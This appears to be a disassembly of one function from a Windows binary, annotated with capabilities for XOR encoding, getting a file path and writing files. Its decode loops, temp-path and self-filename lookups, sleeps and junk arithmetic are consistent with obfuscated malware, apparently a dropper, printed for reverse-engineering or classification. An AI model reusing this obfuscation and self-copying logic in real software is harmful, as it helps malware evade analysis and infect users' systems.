Function at 0x408e30
Capabilities:
Encode data using xor
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e9f8
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x425fc0]
xor eax, esp
mov dword [esp + 0xd8], eax
push ebx
push esi
push edi
mov eax, dword [0x425fc0]
xor eax, esp
push eax
lea eax, [esp + 0xf0]
mov dword fs:[0], eax
fldz
xor eax, eax
mov word [esp + 0x18], ax
xor ecx, ecx
mov word [esp + 0x28], cx
fst dword [esp + 0x38]
xor edi, edi
mov dword [esp + 0x40], edi
fstp dword [esp + 0x70]
fldz
xor edx, edx
fst qword [esp + 0x74]
mov dword [esp + 0x4c], edi
mov word [esp + 0x34], dx
mov word [esp + 0x3c], ax
fstp qword [esp + 0x5c]
mov word [esp + 0x2c], cx
mov dword [esp + 0x50], edi
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], edi
mov byte [esp + 0x8c], al
push 0x118
mov dword [esp + 0xfc], edi
call fcn.0040b813
push eax
mov dword [esp + 0x8c], eax
call fcn.004024d0
add esp, 8
jmp 0x408ef0
push edi
call fcn.0040b4fa
mov esi, dword [esp + 0x54]
add esp, 4
cmp edx, esi
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], edx
jg 0x408f1e
jl 0x408f14
cmp eax, dword [esp + 0x4c]
jae 0x408f1e
xor esi, esi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x50], esi
mov ecx, eax
sub ecx, dword [esp + 0x4c]
mov ebx, edx
sbb ebx, esi
mov dword [esp + 0x20], ebx
js 0x409c1f
jg 0x408f40
cmp ecx, 0x708
jbe 0x409c1f
fld dword [0x4242b4]
mov dword [esp + 0x50], edx
fadd dword [esp + 0x70]
mov esi, eax
mov dword [esp + 0x4c], eax
mov ecx, 0x397870e7
fstp dword [esp + 0x70]
shr esi, 9
fld qword [esp + 0x74]
mov dword [esp + 0x1c], edi
fld1
mov dword [esp + 0x48], esi
fadd st(1), st(0)
fxch st(1)
fstp qword [esp + 0x74]
movzx edx, word [esp + 0x28]
movsx eax, dx
movzx edx, word [esp + 0x18]
sub ecx, eax
movsx eax, dx
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fsub qword [esp + 0x5c]
fsub qword [esp + 0x74]
fcompp
fnstsw ax
fadd qword [esp + 0x5c]
fstp qword [esp + 0x5c]
test ah, 0x41
jp 0x408fd4
fld qword [0x4230e0]
mov cx, word [esp + 0x18]
movsx edx, cx
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fsubp st(1)
call fcn.0040b5d0
mov word [0x424450], ax
mov dword [esp + 0x14], edi
xor eax, eax
add esi, 0x55
mov dword [esp + 0x14], edi
push 0x408
mov dword [esp + 0x34], esi
mov word [esp + 0x14], ax
call fcn.0040b813
push 0x408
mov esi, eax
push 0x424520
push esi
mov dword [esp + 0x64], esi
call fcn.0040b8e0
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edx, [esi + 0x408]
add esp, 0x10
add eax, 0x424520
mov ecx, esi
cmp esi, edx
je 0x409032
mov bl, byte [eax]
xor byte [ecx], bl
inc ecx
inc eax
cmp ecx, edx
jne 0x409028
mov dword [esp + 0x14], edi
xor ecx, ecx
mov dword [esp + 0x14], edi
push 0xd
mov word [esp + 0x14], cx
call fcn.0040b813
mov edx, dword [0x4242f0]
mov esi, eax
mov dword [esi], edx
mov eax, dword [0x4242f4]
mov dword [esi + 4], eax
mov ecx, dword [0x4242f8]
mov dword [esi + 8], ecx
mov dl, byte [0x4242fc]
mov byte [esi + 0xc], dl
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edx, [esi + 0xd]
add esp, 4
add eax, 0x4242f0
mov dword [esp + 0x58], esi
mov ecx, esi
cmp esi, edx
je 0x40909a
jmp 0x409090
mov bl, byte [eax]
xor byte [ecx], bl
inc ecx
inc eax
cmp ecx, edx
jne 0x409090
mov dword [esp + 0x14], edi
xor eax, eax
mov dword [esp + 0x14], edi
push 0xaf1
mov word [esp + 0x14], ax
call fcn.0040b813
push 0xaf1
mov ebx, eax
push 0x4253a0
push ebx
mov dword [esp + 0x24], ebx
call fcn.0040b8e0
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edx, [ebx + 0xaf1]
add esp, 0x10
add eax, 0x4253a0
mov ecx, ebx
cmp ebx, edx
je 0x4090f1
mov bl, byte [eax]
xor byte [ecx], bl
inc ecx
inc eax
cmp ecx, edx
jne 0x4090e7
mov dword [esp + 0x44], edi
xor ecx, ecx
mov dword [esp + 0x44], edi
push 0x31e
mov word [esp + 0x14], cx
call fcn.0040b813
push 0x31e
mov ebx, eax
push 0x423288
push ebx
mov dword [esp + 0x54], ebx
call fcn.0040b8e0
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edx, [ebx + 0x31e]
add esp, 0x10
add eax, 0x423288
mov ecx, ebx
cmp ebx, edx
je 0x409150
mov edi, edi
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
lea edx, [ebx + 0x31e]
inc eax
cmp ecx, edx
jne 0x409140
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x48], eax
je 0x409802
mov edi, edi
fld qword [0x4230a8]
mov cx, word [esp + 0x3c]
mov eax, dword [0x4277c0]
movsx edx, cx
add edx, 0x5ac9652a
mov dword [esp + 0x10], edx
xor esi, esi
push esi
fild dword [esp + 0x14]
push eax
fsubp st(1)
fstp qword [0x4230a8]
call fcn.00401da0
add esp, 8
test eax, eax
jne 0x4091af
mov ecx, dword [0x4277c8]
mov edx, dword [0x427304]
push ecx
push edx
call fcn.00401840
add esp, 8
mov eax, 1
add dword [esp + 0x40], eax
movzx ecx, word [esp + 0x28]
mov edx, dword [esp + 0x40]
sub ecx, edx
movzx edx, word [esp + 0x18]
lea ecx, [ecx + edx - 0x175d60a3]
mov word [esp + 0x28], cx
add dword [esp + 0x18], eax
fld qword [0x424430]
fadd qword [0x41f340]
fstp qword [0x424430]
fld qword [0x424430]
movzx edx, word [0x424310]
movsx eax, dx
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmulp st(1)
call fcn.0040b5d0
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
push ecx
mov word [0x424310], ax
mov eax, dword [esp + 0x18]
push edx
push eax
lea ecx, [esp + 0xb0]
push ecx
call fcn.00402bc0
mov edx, dword [0x424438]
mov dword [esp + 0x20], edx
fild dword [esp + 0x20]
xor eax, eax
push 0x8b
fmul dword [0x424a78]
fstp dword [0x424a78]
mov dword [esp + 0x24], esi
mov dword [esp + 0x24], esi
mov word [esp + 0x24], ax
call fcn.0040b813
push 0x8b
mov ebx, eax
push 0x424218
push ebx
call fcn.0040b8e0
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edi, [ebx + 0x8b]
add esp, 0x20
add eax, 0x424218
mov esi, ebx
cmp ebx, edi
je 0x40929a
mov edi, edi
mov cl, byte [eax]
xor byte [esi], cl
inc esi
inc eax
cmp esi, edi
jne 0x409290
mov dx, word [esp + 0x34]
movsx eax, dx
add eax, 0x6f8757c6
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x58]
mov esi, eax
fild dword [esp + 0x10]
fmul qword [0x425eb0]
fstp qword [0x425eb0]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4092c1
mov edi, ebx
sub eax, esi
dec edi
lea ecx, [ecx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4092d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x2710
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x90]
push ecx
lea edx, [esp + 0xb0]
push ebx
push edx
call fcn.00408580
xor eax, eax
push 0x8b
push eax
mov word [esp + 0x2c], ax
push ebx
mov dword [esp + 0x30], eax
call fcn.0040b710
push ebx
call fcn.0040b67b
mov eax, dword [esp + 0xb0]
add esp, 0x24
cmp dword [esp + 0xa0], 0x10
jae 0x40933b
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x54]
push ecx
push eax
push edx
call fcn.00407a80
add esp, 0xc
cmp eax, 9
jl 0x40978c
mov ecx, dword [esp + 0x8c]
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jae 0x409376
lea ecx, [esp + 0x8c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x80]
jl 0x40978c
jg 0x409393
cmp edx, dword [esp + 0x7c]
jb 0x40978c
lea esi, [eax - 1]
cmp esi, dword [esp + 0x9c]
jbe 0x4093a4
call fcn.0040c348
mov eax, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x4093bb
lea eax, [esp + 0x8c]
mov byte [eax + esi], 0
or edi, 0xffffffff
add dword [esp + 0x34], edi
mov ax, word [esp + 0x34]
mov edx, dword [0x424438]
movsx ecx, ax
lea eax, [ecx + edx + 0x3e19f8c]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul dword [0x424b80]
mov esi, dword [esp + 0xa0]
mov ebx, dword [esp + 0x8c]
mov eax, ebx
fstp dword [0x424b80]
cmp esi, 0x10
jae 0x40940b
lea eax, [esp + 0x8c]
lea ecx, [esp + 0xa4]
add eax, 8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409435
test dl, dl
je 0x409431
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409435
add eax, 2
add ecx, 2
test dl, dl
jne 0x409415
xor eax, eax
jmp 0x409439
sbb eax, eax
sbb eax, edi
test eax, eax
je 0x40947d
add dword [esp + 0x2c], edi
mov cx, word [0x424450]
movsx edx, cx
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fld dword [0x4242b4]
mov ax, word [esp + 0x2c]
movsx ecx, ax
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
faddp st(1)
fsubp st(1)
call fcn.0040b5d0
mov word [0x424450], ax
jmp 0x40978c
cmp esi, 0x10
jb 0x4095d1
mov edi, ebx
test ebx, ebx
je 0x4094b9
mov eax, ebx
cmp esi, 0x10
jae 0x40949a
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x4094b9
mov eax, ebx
cmp esi, 0x10
jae 0x4094ac
lea eax, [esp + 0x8c]
mov edx, dword [esp + 0x9c]
add eax, edx
cmp edi, eax
jbe 0x4094be
call fcn.0040c348
fld dword [0x42447c]
lea esi, [esp + 0x88]
fsub qword [0x41f340]
mov dword [esp + 0x6c], edi
fstp dword [0x42447c]
dec word [str.Q_k]
fld dword [0x42447c]
mov ax, word [str.Q_k]
mov cx, word [0x424444]
cwde
movsx edx, cx
sub edx, eax
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x409530
inc dword [esp + 0x18]
movzx eax, word [esp + 0x2c]
movzx ecx, word [esp + 0x18]
movzx edx, word [esp + 0x3c]
sub eax, ecx
add eax, edx
mov word [esp + 0x2c], ax
jmp 0x409530
mov edx, dword [esp + 0xa0]
mov ebx, dword [esp + 0x8c]
mov eax, ebx
cmp edx, 0x10
jae 0x40954c
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
lea edi, [eax + ecx]
test edi, edi
je 0x409580
mov eax, ebx
cmp edx, 0x10
jae 0x409568
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x409580
mov eax, ebx
cmp edx, 0x10
jae 0x40957a
lea eax, [esp + 0x8c]
add eax, ecx
cmp edi, eax
jbe 0x409585
call fcn.0040c348
cmp esi, 0xfffffffc
je 0x40959e
test esi, esi
je 0x409599
lea eax, [esp + 0x88]
cmp esi, eax
je 0x40959e
call fcn.0040c348
cmp dword [esp + 0x6c], edi
je 0x40966e
movzx ecx, word [esp + 0x18]
sub ecx, 0x60a66af4
mov word [esp + 0x18], cx
cmp esi, 0xfffffffc
je 0x4095f0
test esi, esi
jne 0x4095c6
call fcn.0040c348
cmp dword [esi + 0x18], 0x10
jb 0x4095dd
mov eax, dword [esi + 4]
jmp 0x4095e0
lea edi, [esp + 0x8c]
jmp 0x40948c
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp dword [esp + 0x6c], edx
jb 0x4095f0
call fcn.0040c348
mov eax, dword [esp + 0x6c]
mov byte [eax], 0
cmp esi, 0xfffffffc
je 0x409623
test esi, esi
jne 0x409605
call fcn.0040c348
cmp dword [esi + 0x18], 0x10
jb 0x409610
mov eax, dword [esi + 4]
jmp 0x409613
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp dword [esp + 0x6c], ecx
jb 0x409623
call fcn.0040c348
mov dx, word [0x424510]
mov cx, word [esp + 0x34]
inc dword [esp + 0x6c]
movsx eax, dx
mov dword [esp + 0x10], eax
movsx edx, cx
fild dword [esp + 0x10]
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fld qword [esp + 0x5c]
faddp st(2)
fsubrp st(1)
call fcn.0040b5d0
mov word [esp + 0x34], ax
fld qword [esp + 0x5c]
fadd qword [0x41f340]
fstp qword [esp + 0x5c]
jmp 0x409530
xor ebx, ebx
mov dword [esp + 0x10], ebx
xor eax, eax
mov dword [esp + 0x10], ebx
push 0x7e
mov word [esp + 0x14], ax
call fcn.0040b813
push 0x7e
mov esi, eax
push 0x424218
push esi
call fcn.0040b8e0
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edi, [esi + 0x7e]
add esp, 0x10
add eax, 0x424218
mov ecx, esi
cmp esi, edi
je 0x4096ba
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
cmp ecx, edi
jne 0x4096b0
push ebx
push ebx
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0xb0]
push esi
push ecx
call fcn.00408580
push 0x7e
xor edx, edx
push ebx
mov word [esp + 0x2c], dx
mov dword [esp + 0x2c], ebx
push esi
call fcn.0040b710
push esi
call fcn.0040b67b
mov dword [esp + 0x34], ebx
xor eax, eax
mov dword [esp + 0x34], ebx
push 0xc
mov word [esp + 0x38], ax
call fcn.0040b813
mov ecx, dword [0x4235f0]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x4235f4]
mov dword [esi + 4], edx
mov eax, dword [0x4235f8]
mov dword [esi + 8], eax
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edi, [esi + 0xc]
add esp, 0x28
add eax, 0x4235f0
mov ecx, esi
cmp esi, edi
je 0x409742
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
inc eax
cmp ecx, edi
jne 0x409738
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409747
sub eax, edx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x94]
call fcn.00404430
mov edi, eax
xor eax, eax
mov dword [esi], eax
mov word [esp + 0x10], ax
mov dword [esi + 4], eax
push esi
mov dword [esp + 0x14], ebx
mov dword [esi + 8], eax
call fcn.0040b67b
mov ecx, dword [esp + 0xa0]
add ecx, 0xfffffff5
add esp, 4
cmp edi, ecx
je 0x4097a1
mov eax, dword [esp + 0x48]
inc eax
mov dword [esp + 0x48], eax
cmp eax, dword [esp + 0x30]
jne 0x409160
jmp 0x4097f8
push 0xb
push edi
lea ecx, [esp + 0x90]
call fcn.00404f50
fld dword [0x425388]
mov dx, word [esp + 0x2c]
fadd qword [0x41f8c0]
movsx eax, dx
mov dword [esp + 0x30], eax
fsub qword [0x41f8b8]
mov dword [esp + 0x1c], 1
fild dword [esp + 0x30]
faddp st(1)
call fcn.0040b5d0
mov word [esp + 0x2c], ax
fld dword [0x425388]
fsub qword [0x41f340]
fstp dword [0x425388]
mov esi, dword [esp + 0x58]
mov ebx, dword [esp + 0x44]
xor edi, edi
mov edx, dword [esp + 0x54]
push 0x408
xor ecx, ecx
push edi
mov word [esp + 0x18], cx
mov dword [esp + 0x38], edi
push edx
call fcn.0040b710
mov eax, dword [esp + 0x60]
push eax
call fcn.0040b67b
xor eax, eax
mov dword [esi], eax
xor ecx, ecx
mov dword [esi + 4], eax
mov word [esp + 0x20], cx
mov dword [esi + 8], eax
mov dword [esp + 0x40], edi
push esi
mov byte [esi + 0xc], al
call fcn.0040b67b
push 0x31e
xor edx, edx
push edi
mov word [esp + 0x2c], dx
mov dword [esp + 0x4c], edi
push ebx
call fcn.0040b710
push ebx
call fcn.0040b67b
mov esi, dword [esp + 0x38]
push 0xaf1
xor eax, eax
push edi
mov word [esp + 0x3c], ax
push esi
mov dword [esp + 0x60], edi
call fcn.0040b710
push esi
call fcn.0040b67b
push 0x40
lea ecx, [esp + 0xdc]
push edi
push ecx
call fcn.0040b710
add esp, 0x40
cmp dword [esp + 0x1c], edi
je 0x409c1f
mov edx, dword [esp + 0x84]
push 0x708
push edx
call fcn.00403130
add esp, 8
cmp dword [esp + 0x9c], 0x200
jbe 0x409c1f
push 0x370
call fcn.0040b813
fld dword [0x423278]
fadd qword [0x41f8b0]
add esp, 4
mov ebx, eax
push ebx
fstp dword [0x423278]
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [0x42537c]
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fstp dword [esp + 0x1c]
fld dword [0x423150]
fsubr dword [esp + 0x1c]
call fcn.0040b5d0
mov dword [0x42537c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00402fd0
mov dword [esp + 0x24], edi
xor ecx, ecx
mov dword [esp + 0x24], edi
push 3
mov word [esp + 0x1c], cx
call fcn.0040b813
mov dx, word [0x4242c0]
mov esi, eax
mov word [esi], dx
mov al, byte [0x4242c2]
mov byte [esi + 2], al
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edx, [esi + 3]
add esp, 0xc
add eax, 0x4242c0
mov ecx, esi
cmp esi, edx
je 0x40997d
lea ebx, [ebx]
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
lea edx, [esi + 3]
inc eax
cmp ecx, edx
jne 0x409970
push esi
push ebx
call fcn.0040c1d4
mov dword [esp + 0x1c], eax
xor eax, eax
mov word [esp + 0x18], ax
mov word [esi], ax
mov dword [esp + 0x24], edi
push esi
mov byte [esi + 2], al
call fcn.0040b67b
fld dword [esp + 0x44]
fsub qword [0x41f340]
add esp, 0xc
fstp dword [esp + 0x38]
inc dword [esp + 0x18]
fld qword [esp + 0x5c]
fsub qword [0x41f8a8]
fsub qword [0x41f8a0]
fld dword [esp + 0x38]
mov cx, word [esp + 0x18]
movsx edx, cx
mov dword [esp + 0x1c], edx
fild dword [esp + 0x1c]
faddp st(1)
fucompp
fnstsw ax
test ah, 0x44
jnp 0x409a33
mov ecx, 1
add word [0x424a04], cx
fld dword [0x424a90]
mov ax, word [0x424a04]
movsx edx, ax
add edx, 0x787c7dcf
mov dword [esp + 0x1c], edx
fild dword [esp + 0x1c]
fcompp
fnstsw ax
test ah, 5
jp 0x409a33
add dword [esp + 0x3c], ecx
mov ax, word [0x4230b8]
movzx ecx, word [esp + 0x3c]
movzx edx, word [esp + 0x28]
cwde
add edx, eax
add ecx, edx
mov word [esp + 0x28], cx
cmp dword [esp + 0xa0], 0x10
mov eax, dword [esp + 0x8c]
jae 0x409a4b
lea eax, [esp + 0x8c]
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x9c]
push esi
push 1
push ecx
push eax
call fcn.0040c586
movzx edx, word [0x42314c]
imul edx, edx, 0x9d4d8281
mov word [0x42314c], dx
push esi
call fcn.0040bd7a
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [esp + 0x1c], edi
xor eax, eax
mov dword [esp + 0x1c], edi
push 0x15
mov word [esp + 0x14], ax
call fcn.0040b813
mov ecx, dword [0x4249a0]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x4249a4]
mov dword [esi + 4], edx
mov eax, dword [0x4249a8]
mov dword [esi + 8], eax
mov ecx, dword [0x4249ac]
mov dword [esi + 0xc], ecx
mov edx, dword [0x4249b0]
mov dword [esi + 0x10], edx
mov al, byte [0x4249b4]
mov byte [esi + 0x14], al
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea ecx, [esi + 0x15]
add esp, 4
add eax, 0x4249a0
mov edi, esi
cmp esi, ecx
je 0x409b00
mov dl, byte [eax]
xor byte [edi], dl
inc edi
inc eax
cmp edi, ecx
jne 0x409af6
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x1c], eax
push 0x20
mov word [esp + 0x14], ax
call fcn.0040b813
push 0x20
mov edi, eax
push 0x4243b0
push edi
call fcn.0040b8e0
mov eax, dword [0x4277c4]
sub eax, 0x423004
lea edx, [edi + 0x20]
add esp, 0x10
add eax, 0x4243b0
mov ecx, edi
cmp edi, edx
je 0x409b4d
mov dl, byte [eax]
xor byte [ecx], dl
inc ecx
lea edx, [edi + 0x20]
inc eax
cmp ecx, edx
jne 0x409b40
mov eax, dword [0x4277c0]
push eax
push edi
lea eax, [ebx + 0x104]
push eax
push esi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040bc45
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
xor ecx, ecx
mov dword [edi + 0x14], eax
mov word [esp + 0x28], cx
mov dword [edi + 0x18], eax
mov dword [esp + 0x34], eax
push edi
mov dword [edi + 0x1c], eax
call fcn.0040b67b
fld dword [0x4242e8]
mov dx, word [esp + 0x48]
movsx eax, dx
mov ecx, 0xd7af1443
sub ecx, eax
mov dword [esp + 0x38], ecx
xor eax, eax
xor edx, edx
fisub dword [esp + 0x38]
push esi
fstp dword [0x4242e8]
dec dword [esp + 0x4c]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov word [esp + 0x30], dx
mov dword [esi + 0x10], eax
mov dword [esp + 0x3c], edx
mov byte [esi + 0x14], al
call fcn.0040b67b
mov eax, dword [0x4277c0]
push 1
push eax
call fcn.00401da0
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00401840
push 0x370
push 0
push ebx
call fcn.0040b710
push ebx
call fcn.0040b67b
add esp, 0x40
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov ecx, dword [0x4244c8]
imul ecx, ecx, 0xb0546bba
push 0x3e8
mov dword [0x4244c8], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x4277c0]
push edi
push edx
call fcn.00401da0
add esp, 8
test eax, eax
jne 0x409c65
mov eax, dword [0x4277c8]
mov ecx, dword [0x427304]
push eax
push ecx
call fcn.00401840
add esp, 8
fld dword [esp + 0x38]
fadd qword [0x41f898]
fcomp qword [0x41f890]
fnstsw ax
fld dword [esp + 0x38]
fadd qword [0x41f340]
fstp dword [esp + 0x38]
test ah, 0x44
jnp 0x408ef0
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x40]
cmp edx, eax
jne 0x408ef0
fld dword [0x42326c]
mov ecx, dword [0x4242a0]
mov edx, 0x8e1bf5bc
sub edx, ecx
mov dword [esp + 0x1c], edx
fisub dword [esp + 0x1c]
fstp dword [0x42326c]
inc dword [0x4242a0]
jmp 0x408ef0